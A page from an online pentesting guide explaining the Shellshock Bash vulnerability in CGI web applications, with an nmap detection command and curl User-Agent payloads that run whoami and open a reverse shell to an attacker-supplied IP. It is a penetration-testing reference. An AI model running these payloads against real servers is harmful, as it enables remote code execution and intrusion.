The Pentesting Guide
TwitterBlog
  • The Pentesting Guide
  • ℹ️0 - Pre-Engagement
  • 🔍1 - Information Gathering
  • Passive (OSINT)
  • Active
    • 🕵️HUMINT
    • WIFI
    • IP & Port Scanning
    • Services
      • 21 - FTP
      • 22 - SSH
      • 25 - SMTP
      • 53 - DNS
      • 80,443 - WEB
      • 88 - Kerberos
      • 110 - POP3
      • 111 - rpcbind
      • 161 - SNMP
      • 389 - LDAP
      • 139,445 - SMB
      • Active Directory
  • 💣2 - Exploitation
  • Brute Forcing
  • WEB
    • Apache Tomcat
    • Authentication
    • Broken Access Control
    • Cache poisoning
    • Clickjacking
    • CORS
    • CSRF
    • File Inclusion
    • Host Header Injection
    • HTTP Request Smuggling
    • Information disclosure
    • JWT
    • OS command injection
    • PHP deserialisation
    • SQLi
    • SSRF
    • SSTI
    • Shellshock
    • Unrestricted File Upload
    • XSS
    • XXE
  • Web (OWASP Test cases)
    • 4.1 Information Gathering
    • 4.2 Configuration and Deployment Management Testing
    • 4.3 Identity Management Testing
    • 4.4 Authentication Testing
    • 4.5 Authorization Testing
    • 4.6 Session Management Testing
    • 4.7 Input Validation Testing
    • 4.8 Testing for Error Handling
    • 4.9 Testing for Weak Cryptography
    • 4.10 Business Logic Testing
    • 4.11 Client-side Testing
    • 4.12 API Testing
  • WIFI
  • HUMINT
    • 🎣Gophish (Phishing)
    • Malicious Phishing Files
    • Phishing Evaluation
  • BoF - Windows(x86)
  • Active Directory
    • Kerberos
    • GPOs
    • Certificates
    • LAPS
    • Domain Trusts
  • 👿3 - Post Exploitation
  • File transfer
  • Shells
  • Situational Awareness
    • Containers and VMs
    • Linux
    • Windows
      • Dumping Credentials
      • Countermeasure Evasion
    • Active Directory
      • BloodHound & SharpHound
  • General
    • Linux
    • Windows
  • Local Privilege Escalation
    • Linux
    • Windows
  • Persistance
    • Windows
  • Cracking
  • Pivoting
    • Tunnelling & Port Forwarding
  • Lateral Movement
  • WIFI
  • 📓4 - Report
  • 🧹5 - House cleaning
Powered by GitBook
On this page
  • Introduction
  • Exploitation
  • Check if it works
  • Reverse shell
  • References
  1. WEB

Shellshock

Last updated 2 years ago

Introduction

ShellShock or (CVE-2014-7169 & CVE-2014-6271) allows arbitrary code execution after creating an environment variable in Bash. However, the problem resides in that some web servers, such as apache, support Common Gateway Interface (CGI). This feature allows CGI applications to perform Operating System operations by interacting with the command line interface like SH or Bash.

Furthermore, the value of USER-AGENT in an HTTP request is an input field that is commonly used in CGI applications to define variables. Manipulating the value of the USER-AGENT variable, it is possible to obtain remote code execution.

Exploitation

Check if it works

The script executes a command that prints a random string and then attempts to find it inside the response body.

nmap <TARGET> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Should return the user who is executing the webserver.

curl -H 'User-Agent: () { :; }; /bin/bash -c whoami' http://<TARGET_IP>/cgi-bin/<app>.cgi

Reverse shell

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<A_IP>/443 0>&1' http://<TARGET_IP>/cgi-bin/admin.cgi

Alternative exploit:

References

Link
ShellShock puede afectar a tu web, tu Linux, tu Mac OS X, tu router, tu punto de acceso WiFi o tu switch
The ShellShock Attack
Exploiting CGI Scripts with Shellshock